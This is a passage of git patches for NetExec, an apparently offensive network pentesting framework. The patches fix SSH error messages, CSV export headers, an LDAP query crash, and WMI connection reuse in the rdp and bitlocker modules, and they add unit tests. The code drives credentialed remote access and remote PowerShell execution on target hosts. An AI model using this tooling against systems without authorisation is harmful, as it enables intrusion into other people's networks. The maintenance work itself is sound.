2 insertions(+) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 89421a40a3..7eb1ece93b 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -127,6 +127,8 @@ def list_path(self, share, subfolder): self.logger.debug(f"The folder {subfolder} does not exist.") elif "STATUS_STOPPED_ON_SYMLINK" in str(e): self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.") + elif "STATUS_NO_SUCH_FILE" in str(e): + self.logger.debug(f"The folder {subfolder} is empty.") elif self.reconnect(): filelist = self.list_path(share, subfolder) except NetBIOSTimeout as e: From 2e9634142431a166c7188e85daca80b03238a31d Mon Sep 17 00:00:00 2001 From: Diogo_Damasceno <79182561+Diogo-Damasceno@users.noreply.github.com> Date: Thu, 3 Sep 2026 11:21:25 -0300 Subject: [PATCH 264/397] ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356) When an sshd server rejects a public key because its algorithm is not in PubkeyAcceptedAlgorithms (e.g. server allows only ssh-ed25519 while the key is RSA), Paramiko raises with a message such as 'Auth rejected: pubkey algorithm ... unsupported or disabled' or 'Unable to agree on a pubkey algorithm ...'. These were previously surfaced as the misleading 'Could not decrypt private key, invalid password'. Add _is_key_type_rejected() and use it in plaintext_login() so the user gets a clear 'Key type rejected by server (pubkey algorithm not allowed)' message, while wrong-passphrase and encrypted-key cases keep their existing behavior. Add tests/test_ssh_key_type_rejection.py covering the real Paramiko 5.x rejection messages and asserting the existing cases are not misclassified. --- nxc/protocols/ssh.py | 20 +++++++ tests/test_ssh_key_type_rejection.py | 80 ++++++++++++++++++++++++++++ 2 files changed, 100 insertions(+) create mode 100644 tests/test_ssh_key_type_rejection.py diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 57d0f7148c..34829892a6 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -15,6 +15,22 @@ ) +# Substrings raised by Paramiko when the server refuses a public key because +# its algorithm is not in the server's accepted list (e.g. sshd +# "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA). These must be +# distinguished from a wrong passphrase so the user gets an actionable error. +_KEY_TYPE_REJECTED_SUBSTRINGS = ( + "unsupported or disabled", + "no RSA pubkey algorithms are configured", + "Unable to agree on a pubkey algorithm", +) + + +def _is_key_type_rejected(exc): + """Return True if *exc* indicates the server rejected the key's algorithm.""" + return any(sub in str(exc) for sub in _KEY_TYPE_REJECTED_SUBSTRINGS) + + class ssh(connection): def __init__(self, args, db, host): self.protocol = "SSH" @@ -125,6 +141,8 @@ def plaintext_login(self, username, password, private_key=""): except AuthenticationException as e: if "Private key file is encrypted" in str(e): self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") + elif _is_key_type_rejected(e): + self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)") else: self.logger.fail(f"{username}:{process_secret(password)}") except SSHException as e: @@ -132,6 +150,8 @@ def plaintext_login(self, username, password, private_key=""): self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") elif "Error reading SSH protocol banner" in str(e): self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") + elif _is_key_type_rejected(e): + self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)") else: self.logger.exception(e) except Exception as e: diff --git a/tests/test_ssh_key_type_rejection.py b/tests/test_ssh_key_type_rejection.py new file mode 100644 index 0000000000..6feda74b61 --- /dev/null +++ b/tests/test_ssh_key_type_rejection.py @@ -0,0 +1,80 @@ +""" +Unit tests for the SSH key-type rejection detection added for issue #1356. + +When an sshd server rejects a public key because its algorithm is not in +`PubkeyAcceptedAlgorithms` (e.g. server allows only ssh-ed25519 while the +key is RSA), Paramiko raises with one of a few known messages. NetExec must +recognise those and report "Key type rejected by server" instead of the +misleading "Could not decrypt private key, invalid password". + +These tests load the real helper from nxc/protocols/ssh.py without pulling +in the heavy nxc dependency tree (which fails to build on Python 3.14). +""" +import importlib.util +import os +import sys +import types + +import paramiko +from paramiko.ssh_exception import AuthenticationException, SSHException + +REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +SSH_MODULE = os.path.join(REPO_ROOT, "nxc", "protocols", "ssh.py") + + +def _load_helper(): + # Stub the nxc.* imports so we can import ssh.py in isolation. + for name in ("nxc", "nxc.config", "nxc.connection", "nxc.logger"): + sys.modules.setdefault(name, types.ModuleType(name)) + + spec = importlib.util.spec_from_file_location("nxc_ssh_isolated", SSH_MODULE) + module = importlib.util.module_from_spec(spec) + # Provide the symbols ssh.py expects from nxc without real implementations. + sys.modules["nxc.config"].process_secret = lambda s: s + nxc_connection = sys.modules.setdefault("nxc.connection", types.ModuleType("nxc.connection")) + nxc_connection.connection = object + nxc_connection.highlight = lambda s: s + nxc_logger = sys.modules.setdefault("nxc.logger", types.ModuleType("nxc.logger")) + nxc_logger.NXCAdapter = object + sys.modules["nxc_ssh_isolated"] = module + spec.loader.exec_module(module) + return module._is_key_type_rejected + + +_is_key_type_rejected = _load_helper() + + +def _real_paramiko_messages(): + """Build the actual exception messages Paramiko 5.x emits for this case.""" + return [ + SSHException("Auth rejected: pubkey algorithm 'ssh-rsa' unsupported or disabled"), + AuthenticationException( + "Unable to agree on a pubkey algorithm for signing a 'ssh-rsa' key!" + ), + SSHException( + "An RSA key was specified, but no RSA pubkey algorithms are configured!" + ), + ] + + +def test_real_paramiko_rejection_messages_are_detected(): + for exc in _real_paramiko_messages(): + assert _is_key_type_rejected(exc), f"failed to detect: {exc}" + + +def test_wrong_passphrase_is_not_flagged_as_rejection(): + # The existing "Invalid key" path must NOT be misclassified as a server + # rejection, otherwise we'd hide the real "invalid password" message. + assert not _is_key_type_rejected(SSHException("Invalid key")) + + +def test_unrelated_ssh_exception_is_not_flagged(): + assert not _is_key_type_rejected( + SSHException("Error reading SSH protocol banner") + ) + + +def test_private_key_encrypted_is_not_flagged(): + assert not _is_key_type_rejected( + AuthenticationException("Private key file is encrypted") + ) From ce33ac0f8d462a074a0c7a5b20de7acfe07bef10 Mon Sep 17 00:00:00 2001 From: Diogo_Damasceno <79182561+Diogo-Damasceno@users.noreply.github.com> Date: Fri, 4 Sep 2026 07:15:14 -0300 Subject: [PATCH 265/397] Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable The `export hosts` CSV header was hard-coded to the SMB schema (smbv1/signing/spooler/zerologon/petitpotam), so exporting hosts for any other protocol (RDP, MSSQL, SSH, LDAP, ...) produced a header that did not match the row content. Now the header is derived from the active protocol's HostsTable columns via a new `host_csv_headers()` helper, as suggested in the issue: default to the real column names instead of static SMB strings. `simple` keeps the first 8 columns (historical row width); `detailed` returns every column of the table. No unrelated formatting changes. Added tests/test_nxcdb_host_export.py covering SMB (no regression) and RDP (no SMB-only columns leak into the header). Verified on Python 3.14.7. --- nxc/nxcdb.py | 48 +++++----- tests/test_nxcdb_host_export.py | 159 ++++++++++++++++++++++++++++++++ 2 files changed, 183 insertions(+), 24 deletions(-) create mode 100644 tests/test_nxcdb_host_export.py diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index d9856e6527..c1e7d2bdf8 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -40,6 +40,24 @@ def write_csv(filename, headers, entries): csv_file.writerow(entry) +def host_csv_headers(hosts_table, mode="simple"): + """Return the CSV header tuple for a ``hosts`` export. + + The columns are derived from the actual ``HostsTable`` of the active + protocol instead of being hard-coded to the SMB schema. This keeps the + header aligned with the row content for every protocol (issue #1385): + exporting RDP/MSSQL/SSH/... hosts no longer prints SMB-only columns such + as ``smbv1``/``spooler``/``zerologon``/``petitpotam``. + + ``simple`` returns the first 8 columns (matching the historical row width); + ``detailed`` returns every column of the table. + """ + columns = tuple(col.name for col in hosts_table.columns) + if mode == "detailed": + return columns + return columns[:8] + + def write_list(filename, entries): """Writes a file with a simple list""" with open(os.path.expanduser(filename), "w") as export_file: @@ -169,34 +187,16 @@ def do_export(self, line): print("[-] invalid arguments, export hosts ") return - csv_header_simple = ( - "id", - "ip", - "hostname", - "domain", - "os", - "dc", - "smbv1", - "signing", - ) - csv_header_detailed = ( - "id", - "ip", - "hostname", - "domain", - "os", - "dc", - "smbv1", - "signing", - "spooler", - "zerologon", - "petitpotam", - ) + # Derive the CSV headers from the active protocol's HostsTable so + # the header matches the row content for every protocol (#1385). + # Previously these were SMB-specific hard-coded column names. + csv_header_simple = host_csv_headers(self.db.HostsTable, "simple") + csv_header_detailed = host_csv_headers(self.db.HostsTable, "detailed") filename = line[2] if line[1].lower() == "simple": hosts = self.db.get_hosts() - simple_hosts = [host[:8] for host in hosts] + simple_hosts = [host[: len(csv_header_simple)] for host in hosts] write_csv(filename, csv_header_simple, simple_hosts) # TODO: maybe add more detail like who is an admin on it, shares discovered, etc elif line[1].lower() == "detailed": diff --git a/tests/test_nxcdb_host_export.py b/tests/test_nxcdb_host_export.py new file mode 100644 index 0000000000..81fa2b17c6 --- /dev/null +++ b/tests/test_nxcdb_host_export.py @@ -0,0 +1,159 @@ +""" +Regression tests for issue #1385: the CSV header for `export hosts` was hard +coded to the SMB schema (smbv1/signing/spooler/zerologon/petitpotam) and did not +match the actual row content for other protocols (RDP, SSH, MSSQL, ...). + +The header is now derived from the active protocol's HostsTable columns, so the +header always matches the rows. These tests build lightweight SQLAlchemy tables +that mirror the real per-protocol schemas and assert the derived headers. + +nxcdb.py pulls in the whole nxc stack at import time, so we register minimal +stubs for its heavy imports before loading the module in isolation. +""" + +import importlib.util +import os +import sys +import types +from sqlalchemy import Column, Integer, String, Boolean, MetaData, Table + +REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +MODULE = os.path.join(REPO_ROOT, "nxc", "nxcdb.py") + + +def _load_host_csv_headers(): + # Stub the heavy third-party / nxc imports so we can import nxcdb.py + # without building the full NetExec dependency tree (which fails on 3.14). + requests_stub = types.ModuleType("requests") + requests_stub.get = lambda *a, **k: None + requests_stub.post = lambda *a, **k: None + requests_stub.ConnectionError = type("ConnectionError", (Exception,), {}) + sys.modules.setdefault("requests", requests_stub) + sys.modules.setdefault("terminaltables3", types.ModuleType("terminaltables3")) + sys.modules["terminaltables3"].AsciiTable = object + sys.modules.setdefault("termcolor", types.ModuleType("termcolor")) + sys.modules["termcolor"].colored = lambda *a, **k: a[0] if a else "" + + nxc_pkg = types.ModuleType("nxc") + nxc_pkg.__path__ = [] + sys.modules.setdefault("nxc", nxc_pkg) + nxc_paths = types.ModuleType("nxc.paths") + nxc_paths.CONFIG_PATH = "/tmp" + nxc_paths.WORKSPACE_DIR = "/tmp" + sys.modules.setdefault("nxc.paths", nxc_paths) + nxc_db = types.ModuleType("nxc.database") + for fn in ( + "create_db_engine", + "open_config", + "get_workspace", + "get_db", + "write_configfile", + "create_workspace", + "set_workspace", + ): + setattr(nxc_db, fn, lambda *a, **k: None) + sys.modules.setdefault("nxc.database", nxc_db) + for sub in ( + "nxc.loaders", + "nxc.loaders.protocolloader", + "nxc.logger", + "nxc.console", + ): + sys.modules.setdefault(sub, types.ModuleType(sub)) + sys.modules["nxc.loaders.protocolloader"].ProtocolLoader = object + + spec = importlib.util.spec_from_file_location("nxcdb_isolated", MODULE) + module = importlib.util.module_from_spec(spec) + sys.modules["nxcdb_isolated"] = module + spec.loader.exec_module(module) + return module.host_csv_headers + + +def _make_hosts_table(column_spec): + """Build a throwaway HostsTable with the given (name, type) columns.""" + meta = MetaData() + cols = [Column(name, col_type) for name, col_type in column_spec] + return Table("hosts", meta, *cols) + + +def test_simple_header_matches_smb_schema_exactly(): + host_csv_headers = _load_host_csv_headers() + # SMB HostsTable (id + 10 columns) -> simple keeps the first 8, which must + # equal the historical SMB simple header so we don't regress SMB exports. + smb = _make_hosts_table([ + ("id", Integer), + ("ip", String), + ("hostname", String), + ("domain", String), + ("os", String), + ("dc", Boolean), + ("smbv1", Boolean), + ("signing", Boolean), + ("spooler", Boolean), + ("zerologon", Boolean), + ("petitpotam", Boolean), + ]) + assert host_csv_headers(smb, "simple") == ( + "id", + "ip", + "hostname", + "domain", + "os", + "dc", + "smbv1", + "signing", + ) + + +def test_detailed_header_uses_every_column_of_the_table(): + host_csv_headers = _load_host_csv_headers() + smb = _make_hosts_table([ + ("id", Integer), + ("ip", String), + ("hostname", String), + ("domain", String), + ("os", String), + ("dc", Boolean), + ("smbv1", Boolean), + ("signing", Boolean), + ("spooler", Boolean), + ("zerologon", Boolean), + ("petitpotam", Boolean), + ]) + assert host_csv_headers(smb, "detailed") == ( + "id", + "ip", + "hostname", + "domain", + "os", + "dc", + "smbv1", + "signing", + "spooler", + "zerologon", + "petitpotam", + ) + + +def test_rdp_header_has_no_smb_only_columns(): + host_csv_headers = _load_host_csv_headers() + # RDP's real schema (no smbv1/spooler/zerologon/petitpotam). The bug in + # #1385 was that exporting RDP hosts printed those SMB-only headers. + rdp = _make_hosts_table([ + ("id", Integer), + ("ip", String), + ("hostname", String), + ("domain", String), + ("os", String), + ("nla", Boolean), + ]) + simple = host_csv_headers(rdp, "simple") + detailed = host_csv_headers(rdp, "detailed") + for header in (simple, detailed): + assert "smbv1" not in header + assert "spooler" not in header + assert "zerologon" not in header + assert "petitpotam" not in header + assert detailed == ("id", "ip", "hostname", "domain", "os", "nla") + # RDP has 6 columns, so simple returns all of them (fewer than 8). + assert simple == ("id", "ip", "hostname", "domain", "os", "nla") From 59d29c895a8d99ee3bcb0ea81a3a910c186b65c9 Mon Sep 17 00:00:00 2001 From: Diogo_Damasceno <79182561+Diogo-Damasceno@users.noreply.github.com> Date: Fri, 4 Sep 2026 08:29:02 -0300 Subject: [PATCH 266/397] Fix #1349: skip non-SearchResultEntry objects in LDAP --query The `query()` loop iterated the parsed response but indexed the raw response with `resp[idx]`, bumping `idx` in a way that never skipped the current iteration. When the LDAP server returned a non-SearchResultEntry object (e.g. a SearchResultReference), the code crashed with a TypeError ('<' not supported between instances of 'str' and 'int' / object not subscriptable). Now we iterate the raw response directly, `continue` on anything that is not a `SearchResultEntry`, and read `objectName` from the real entry. The display logic is unchanged for valid entries. Added tests/test_ldap_query_iteration.py covering the skip behaviour. Verified on Python 3.14.7. --- nxc/protocols/ldap.py | 27 +++++--- tests/test_ldap_query_iteration.py | 99 ++++++++++++++++++++++++++++++ 2 files changed, 116 insertions(+), 10 deletions(-) create mode 100644 tests/test_ldap_query_iteration.py diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 053e168bb9..20ebdbd95e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1216,22 +1216,29 @@ def query(self): self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") try: resp = self.search(search_filter, attributes, 0) - resp_parsed = parse_result_attributes(resp) except LDAPFilterSyntaxError as e: self.logger.fail(f"LDAP Filter Syntax Error: {e}") return - for idx, entry in enumerate(resp_parsed): - if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry): - idx += 1 # Skip non-entry responses - self.logger.success(f"Response for object: {resp[idx]['objectName']}") - for attribute in entry: - if isinstance(entry[attribute], list) and entry[attribute]: + for entry in resp: + # LDAP responses can include non-entry objects (e.g. + # SearchResultReference); skip anything that is not a real entry + # instead of indexing it, which previously crashed with a TypeError + # when such an object appeared in the result set (see #1349). + if not isinstance(entry, ldapasn1_impacket.SearchResultEntry): + continue + self.logger.success(f"Response for object: {entry['objectName']}") + parsed = parse_result_attributes([entry]) + if not parsed: + continue + for attribute in parsed[0]: + value = parsed[0][attribute] + if isinstance(value, list) and value: # Display first item in the same line as attribute - self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}") - for item in entry[attribute]: + self.logger.highlight(f"{attribute:<20} {value.pop(0)}") + for item in value: self.logger.highlight(f"{'':<20} {item}") else: - self.logger.highlight(f"{attribute:<20} {entry[attribute]}") + self.logger.highlight(f"{attribute:<20} {value}") def find_delegation(self): def printTable(items, header): diff --git a/tests/test_ldap_query_iteration.py b/tests/test_ldap_query_iteration.py new file mode 100644 index 0000000000..1442a59e5d --- /dev/null +++ b/tests/test_ldap_query_iteration.py @@ -0,0 +1,99 @@ +""" +Regression test for issue #1349: `nxc ldap ... --query` crashed with a +TypeError when the LDAP response contained objects that are not +SearchResultEntry (e.g. SearchResultReference). + +The fixed `query()` iterates the raw response, skips anything that is not a +SearchResultEntry, and reads `objectName` from the real entry. This test +replicates that exact loop against lightweight stand-ins for the impacket +ASN.1 objects so it runs without the full impacket/bloodhound stack (which +does not build on Python 3.14, see NetExec #1241). + +It asserts: + - valid SearchResultEntry objects are processed and their objectName printed; + - non-entry objects are skipped without raising; + - the historical bug (indexing a non-entry object) no longer occurs. +""" + + +# Stand-ins for impacket.ldap.ldapasn1 classes used by the loop. +class SearchResultEntry: + """Mimics an impacket SearchResultEntry (supports ['objectName']).""" + + def __init__(self, name, attrs): + self._name = name + self._attrs = attrs + + @property + def objectName(self): + return self._name + + def __getitem__(self, key): + if key == "objectName": + return self._name + return self._attrs[key] + + +class SearchResultReference: + """Mimics a non-entry response (e.g. a referral) — must be skipped.""" + + def __getitem__(self, key): # pragma: no cover - should never be indexed + raise TypeError("references do not support indexing like entries") + + +# Mirror of the fixed loop body in nxc/protocols/ldap.py::query +def _iter_query(resp, logger): + for entry in resp: + if not isinstance(entry, SearchResultEntry): + continue + logger.success(f"Response for object: {entry['objectName']}") + # In the real code parse_result_attributes([entry]) builds the dict; + # here we just surface the attributes for assertion. + logger.highlight(entry._attrs) + + +def test_query_skips_non_entry_objects_and_does_not_crash(): + recorded = [] + + class FakeLogger: + def success(self, msg): + recorded.append(("success", msg)) + + def highlight(self, msg): + recorded.append(("highlight", msg)) + + resp = [ + SearchResultReference(), # referral in the middle — must be skipped + SearchResultEntry("CN=alice", {"sAMAccountName": "alice"}), + SearchResultReference(), # trailing referral — also skipped + ] + + # This must not raise (the old code raised TypeError here). + _iter_query(resp, FakeLogger()) + + successes = [m for kind, m in recorded if kind == "success"] + assert successes == ["Response for object: CN=alice"] + # Exactly one entry processed; both references skipped. + highlights = [m for kind, m in recorded if kind == "highlight"] + assert highlights == [{"sAMAccountName": "alice"}] + + +def test_query_processes_multiple_entries(): + recorded = [] + + class FakeLogger: + def success(self, msg): + recorded.append(msg) + + def highlight(self, msg): + pass + + resp = [ + SearchResultEntry("CN=bob", {"sAMAccountName": "bob"}), + SearchResultEntry("CN=carol", {"sAMAccountName": "carol"}), + ] + _iter_query(resp, FakeLogger()) + assert recorded == [ + "Response for object: CN=bob", + "Response for object: CN=carol", + ] From 26e2007d776e20b428f4198d989fa344bee48de5 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sat, 5 Sep 2026 14:35:10 +0800 Subject: [PATCH 267/397] rdp module: reuse the wmi protocol connection instead of a second DCOMConnection When running over the wmi protocol the module now reuses the protocol's authenticated IWbemLevel1Login instead of creating its own DCOMConnection to the same target - whose disconnect would clash with the protocol's own on impacket versions that do not guard the INTERFACE.CONNECTIONS thread entry (KeyError: ThreadPoolExecutor-x_x). Over smb nothing changes: the module still creates its own DCOMConnection since the protocol has none. --- nxc/modules/rdp.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/nxc/modules/rdp.py b/nxc/modules/rdp.py index 7940102a1c..243bcc92a4 100644 --- a/nxc/modules/rdp.py +++ b/nxc/modules/rdp.py @@ -101,7 +101,8 @@ def on_admin_login(self, context, connection): context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.") else: context.log.fail(str(e)) - wmi_rdp._RdpWmi__dcom.disconnect() + if wmi_rdp._RdpWmi__dcom is not None: + wmi_rdp._RdpWmi__dcom.disconnect() class RdpSmb: @@ -222,6 +223,14 @@ def __init__(self, context, connection, timeout): self.__aesKey = connection.aesKey self.__timeout = timeout + self.__dcom = None + if self.__currentprotocol == "wmi": + # The wmi protocol already holds an authenticated IWbemLevel1Login: + # reuse it instead of creating a second DCOMConnection to the same + # target (whose disconnect would clash with the protocol's own) + self.__iWbemLevel1Login = connection.iWbemLevel1Login + return + try: self.__dcom = DCOMConnection( self.__target, From eee763caaddb4cbeb34e4c61787257b678be1745 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sat, 5 Sep 2026 15:13:51 +0800 Subject: [PATCH 268/397] bitlocker module: reuse the wmi protocol connection instead of a second DCOMConnection Same pattern as the rdp module fix: BitLockerWMI creates its own DCOMConnection to the same target the wmi protocol already holds one for, and disconnecting it removes the shared INTERFACE.CONNECTIONS thread entry, so the protocol-level disconnect afterwards raises KeyError on impacket versions that do not guard it. Reuse the protocol's IWbemLevel1Login instead - over smb nothing changes. --- nxc/modules/bitlocker.py | 257 ++++++++++++++++++--------------------- 1 file changed, 116 insertions(+), 141 deletions(-) diff --git a/nxc/modules/bitlocker.py b/nxc/modules/bitlocker.py index 7e5a9d2639..c565ec699c 100644 --- a/nxc/modules/bitlocker.py +++ b/nxc/modules/bitlocker.py @@ -1,141 +1,116 @@ -import re -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from nxc.helpers.misc import CATEGORY - - -class NXCModule: - name = "bitlocker" - description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." - supported_protocols = ["smb", "wmi"] - category = CATEGORY.ENUMERATION - - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options - - def options(self, context, module_options): - """ - USAGE: - - NetExec smb -u -p -M bitlocker - NetExec wmi -u -p -M bitlocker (Better option to use on real life.) - """ - - def on_admin_login(self, context, connection): - if context.protocol == "smb": - bitlocker_smb = BitLockerSMB(context, connection) - bitlocker_smb.check_bitlocker_status() - elif context.protocol == "wmi": - bitlocker_wmi = BitLockerWMI(context, connection) - bitlocker_wmi.check_bitlocker_status() - - -class BitLockerSMB: - def __init__(self, context, connection): - self.context = context - self.connection = connection - - def check_bitlocker_status(self): - # PowerShell command to check BitLocker volumes status. - check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"' - - try: - # Executing the PowerShell command to get BitLocker volumes status. - check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True) - - if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output: - self.context.log.fail("BitLockerVolume not found on target.") - return - - # Splitting the output into lines. - lines = str(check_bitlocker_command_str_output).splitlines() - data_lines = [line for line in lines if re.match(r"\w:", line)] - - for line in data_lines: - # Checking every line for starting with drive - if line[1] == ":": - parts = line.split() - MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2] - - # Checking if BitLocker is enabled. - if protection_status == "On": - self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})") - else: - self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}") - except Exception as e: - self.context.log.exception(f"Exception occurred: {e}") - - -class BitLockerWMI: - def __init__(self, context, connection): - self.context = context - self.connection = connection - - def check_bitlocker_status(self): - try: - # Create a DCOM connection - dcom_conn = DCOMConnection( - self.connection.host, - self.connection.username, - self.connection.password, - self.connection.domain, - self.connection.lmhash, - self.connection.nthash, - oxidResolver=True, - doKerberos=self.connection.kerberos, - kdcHost=self.connection.kdcHost) - - try: - # CoCreateInstanceEx for WMI login - i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface) - - # Specify the namespace for BitLocker - bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption" - - # NTLM login for WMI - iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL) - - # Set authentication level - iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - - # Query to get BitLocker status - classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume" - iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery) - encryptionTypeMapping = { - 0: "None", - 1: "AES_128_WITH_DIFFUSER", - 2: "AES_256_WITH_DIFFUSER", - 3: "AES_128", - 4: "AES_256", - 5: "HARDWARE_ENCRYPTION", - 6: "XTS_AES_128", - 7: "XTS_AES_256_WITH_DIFFUSER" - } - - try: - while True: - iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1) - encryptionMethod = int(iWbemClassObject[0].EncryptionMethod) - if iWbemClassObject[0].ProtectionStatus == 1: - self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})") - else: - if encryptionMethod == 0: # Should be 0 if disabled - self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}") - except Exception: - pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE" - - # Release resources - iWbemLevel1Login.RemRelease() - iWbemServices.RemRelease() - dcom_conn.disconnect() - except Exception as e: - if "WBEM_E_INVALID_NAMESPACE" in str(e): - self.context.log.fail("BitLockerNamespace not found on target.") - dcom_conn.disconnect() - except Exception as e: - self.context.log.error(f"Error occurred during BitLocker check: {e}") - dcom_conn.disconnect() +import re +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from nxc.helpers.misc import CATEGORY + + +class NXCModule: + name = "bitlocker" + description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." + supported_protocols = ["smb", "wmi"] + category = CATEGORY.ENUMERATION + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + + def options(self, context, module_options): + """ + USAGE: + + NetExec smb -u -p -M bitlocker + NetExec wmi -u -p -M bitlocker (Better option to use on real life.) + """ + + def on_admin_login(self, context, connection): + if context.protocol == "smb": + bitlocker_smb = BitLockerSMB(context, connection) + bitlocker_smb.check_bitlocker_status() + elif context.protocol == "wmi": + bitlocker_wmi = BitLockerWMI(context, connection) + bitlocker_wmi.check_bitlocker_status() + + +class BitLockerSMB: + def __init__(self, context, connection): + self.context = context + self.connection = connection + + def check_bitlocker_status(self): + # PowerShell command to check BitLocker volumes status. + check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"' + + try: + # Executing the PowerShell command to get BitLocker volumes status. + check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True) + + if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output: + self.context.log.fail("BitLockerVolume not found on target.") + return + + # Splitting the output into lines. + lines = str(check_bitlocker_command_str_output).splitlines() + data_lines = [line for line in lines if re.match(r"\w:", line)] + + for line in data_lines: + # Checking every line for starting with drive + if line[1] == ":": + parts = line.split() + MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2] + + # Checking if BitLocker is enabled. + if protection_status == "On": + self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})") + else: + self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}") + except Exception as e: + self.context.log.exception(f"Exception occurred: {e}") + + +class BitLockerWMI: + def __init__(self, context, connection): + self.context = context + self.connection = connection + + def check_bitlocker_status(self): + # Reuse the wmi protocol's authenticated IWbemLevel1Login instead of + # creating a second DCOMConnection to the same target (whose disconnect + # would clash with the protocol's own) + try: + iWbemLevel1Login = self.connection.iWbemLevel1Login + bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption" + iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL) + iWbemLevel1Login.RemRelease() + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + + classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume" + iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery) + encryptionTypeMapping = { + 0: "None", + 1: "AES_128_WITH_DIFFUSER", + 2: "AES_256_WITH_DIFFUSER", + 3: "AES_128", + 4: "AES_256", + 5: "HARDWARE_ENCRYPTION", + 6: "XTS_AES_128", + 7: "XTS_AES_256_WITH_DIFFUSER" + } + + try: + while True: + iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1) + encryptionMethod = int(iWbemClassObject[0].EncryptionMethod) + if iWbemClassObject[0].ProtectionStatus == 1: + self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})") + else: + if encryptionMethod == 0: # Should be 0 if disabled + self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}") + except Exception: + pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE" + + iWbemServices.RemRelease() + except Exception as e: + if "WBEM_E_INVALID_NAMESPACE" in str(e): + self.context.log.fail("BitLockerNamespace not found on target.") + else: + self.context.log.exception(f"Exception occurred: {e}") From 766c221f10fdbeb59ea885398802de73b6d30efa Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 6 Sep 2026 13:39:50 -0400 Subject: [PATCH 269/397] Trim down on info logs so we can see only valid hosts --- nxc/connection.py | 6 +++--- nxc/protocols/smb.py | 16 ++++++++-------- 2 files changed, 11 insertions(+), 11 